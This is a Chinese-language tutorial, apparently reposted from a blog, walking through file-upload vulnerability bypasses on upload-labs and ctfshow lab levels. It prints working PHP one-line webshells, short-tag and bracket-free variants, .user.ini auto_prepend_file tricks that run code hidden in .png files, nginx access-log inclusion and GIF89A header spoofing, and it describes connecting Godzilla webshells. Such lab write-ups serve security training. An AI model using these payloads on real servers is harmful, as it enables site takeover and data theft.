目录
1.JS验证
2.JS验证+MIME
3.JS验证+.user.ini
4.JS验证+.user.ini+短标签 (ctfshow154,155关)
5.JS验证+.user.ini+短标签+过滤 [ ]
6.JS验证+.user.ini+短标签+加过滤+文件头
有关文件上传的知识
1.为什么文件上传存在漏洞
上传文件时,如果服务瑞代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、php、 jsp等格式的文件)。
2.危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
本文知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.in妙用
4、文件上传-PHP语言特性
后门代码需要特定后缀格式解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
本文将通过upload-labs靶场进行演示说明,关于upload-labs靶场的搭建请参考这篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501
1.JS验证
upload-labs靶场第一关
用哥斯拉生成一个php后门文件,打开哥斯拉点击管理->生成,将生成的后门文件重命名为hm.php(方便演示)
关于哥斯拉的使用和安装请参考这篇文章:哥斯拉安装和使用
上传png文件成功,上传hm.php文件失败
F12修改前端代码
复制php文件路径(http://localhost/upload-labs/upload/hm.php ),用哥斯拉尝试连接
2.JS验证+MIME
upload-labs靶场第二关
这里直接F12修改后是没有用的
通过抓包发现上传png文件时和上传php文件时,Content-Type的值不一样
现在我们将上传php文件时的Content-Type值修改为image/png,我们发现上传成功
3.JS验证+.user.ini
user.ini:auto_prepend_file=hm.png
hm.png:<?php eval($_POST[x]);?>
后台对文件后缀进行限制,拦截php等相关后缀,导致后门代码无法上传,这里我们要用到.user.ini注意.user.ini的使用是有条件的,只适用于php,别的语言可能不支持,这里主要讲解思路,语言不一样,但思路都差不多,可以自己去了解一下,别的语言有没有类似与.uer.ini文件这样的功能。
.user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。.user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑。它包含了PHP的配置选项和值,每个选项和值都以等号(=)分隔。当php再进行扫描的时候会读取到web目录下的ini文件,从而进行触发。
在这个配置中存在两个配置项:auto_append_file和auto_prepend_file
1.auto_prepend_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
2.auto_append_file
和auto_prepend_file类似,这个是指内容添加到文末,如果有exit会无法调用到
upload-labs靶场第五关
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。反复观察发现没有被限制的后缀名有 .php7 以及 .ini。现在我们该怎么办呢,php文件不能上传,那么我们能不能把后门代码写在png文件里面呢,这样显然是不行的,这样会导致格式错误,这里我们就要用到php特有的.user.ini文件,上面已经介绍过了,.user.ini的配置项auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件,该文件的内容将被插入到原始脚。这是什么意识呢,这里我解释一下,也就是说我们如果直接将后门代码写在png文件下是不能上传的,因为php文件被拦截了,所以这里我们要借auto_prepend_file,将png文件设定为指定文件,这样png文件里面的后门代码就会插入到原脚本(也就是和传入文件同目录的php文件,这里是readme.php), 这样我们就成功将后门代码植入到了php文件中,而index.php文件本来就是项目文件,这样就可以通过index.php连接哥斯拉了。
现在我们创建一个.user.ini文件,在文件里写入auto_prepend_file=hm.png。然后将我们生成的木马文件hm.php改为hm.png,然后将这两个文件上传
现在我们尝试一下用readme.php连接哥斯拉
测试连接成功
4.JS验证+.user.ini+短标签 (ctfshow154,155关)
user.ini:auto_prepend_file=text.png
text.png:<?=eval($_POST[pass]);?>
后台对文件后缀以及短标签<?php进行限制,这个时候不但要考虑php后缀文件不能上传,还要考虑后门代码不能出现<?php
这里有几种替换短标签<?php的方法,效果是一样的,一般用第二种和第四种,因为不需要前提条件
1.<?echo '123';?> //前提是开启配置参数short_open_tags=on
2.<?=(表达式)?> //不需要开启参数设置
将<?php eval($_POST[pass]);?>替换成<?=eval($_POST[pass]);?>
3.<% echo '123';%> //前提是开启了配置参数asp_tags=on
4.<script language="php">echo '1'</script> //不用修改参数开关
5.JS验证+.user.ini+短标签+过滤 [ ]
过滤[],用{}替代(ctfshow156关)
user.ini:auto_prepend_file=hm.png
hm.png:<?=eval($_POST{pass});?>
过滤了后门语句的分号;和php(ctfshow157关)
zm.png:<?=system('tac ../fl*')?>
过滤了;,php,() (ctfshow158,159关)
zm.png:<?echo'tac /var/www/html/f*'?>
基本都过滤了(ctfshow160关)
包含默认日志,日志记录UA头,UA头写后门代码文章来源:https://www.toymoban.com/news/detail-823783.html
user.ini:auto_prepend_file=zm.png
zm.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
6.JS验证+.user.ini+短标签+加过滤+文件头
文件头部检测是否为图片格式文件(ctfshow161关)文章来源地址https://www.toymoban.com/news/detail-823783.html
user.ini:GIF89A auto_prepend_file=zm.png
zm.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
到了这里,关于day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!